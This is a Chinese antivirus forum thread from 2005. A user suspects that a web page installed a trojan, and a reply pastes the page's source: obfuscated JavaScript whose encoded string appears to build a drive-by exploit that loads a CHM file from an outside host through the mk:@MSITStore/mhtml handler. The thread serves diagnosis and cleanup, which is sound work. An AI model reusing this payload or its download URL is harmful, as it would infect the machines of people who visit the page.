瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 浏览了一个网页,多了一个不明进程,怀疑中木马,但瑞星没提示!!

1   1  /  1  页   跳转

浏览了一个网页,多了一个不明进程,怀疑中木马,但瑞星没提示!!

浏览了一个网页,多了一个不明进程,怀疑中木马,但瑞星没提示!!

http://sa.7766.org:88/down/wow/my.htm

就是上面网址。打开上面网址,系统明显变慢,但瑞星软件监控并没有提示!!打开任务管理器多了一个不明进程:wow... 。忘了后面是 什么了。

请问个位大侠,上面那个网址是否有木马?? 


急等~~求助!!!help!!
最后编辑2005-09-02 02:10:50
分享到:
gototop
 


http://sa.7766.org:88/down/wow/my.htm 
源码:
<html>
<head>

</head>
<script>
function CarbosoftHTML( s ) { var sRet=""; for(j=0; j< s.length; j++ ){ var n= s.charCodeAt(j); if (n>=8364) {n = 128;} sRet += String.fromCharCode( n - 1 ); } return( sRet ); }
document.write(CarbosoftHTML("=tdsjqu?gvodujpo!Dbscptpgu)!t!*!|!wbs!tSfu>##<!gps)k>1<!k=!t/mfohui<!k,,!*|!wbs!o>!t/dibsDpefBu)k*<!|~!tSfu!,>!Tusjoh/gspnDibsDpef)!o!.!3!*<!~!sfuvso)!tSfu!*<!~=0tdsjqu?"));
var sJsCmds = ">QDLGEV\"v{rg?$vgzv1z/uetkrvngv$\"fcvc?$kvu<ojvon<hkng<11e<^qm0ojv#jvvr<11uc099880qti<::1fqyp1Yqy1Uc*yqy+0ejo<<3Uc0jvo$@>1QDLGEV@";
document.write(CarbosoftHTML("=tdsjqu?epdvnfou/xsjuf)DbscptpguIUNM)#>uetkrv@xct\"u\"?\"Ectdquqhv*\"uLuEofu+=fqewogpv0ytkvg*u+=>1uetkrv@#**<=0tdsjqu?"));
</script>
gototop
 

结束此进程.再删除相关路径的文件.
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT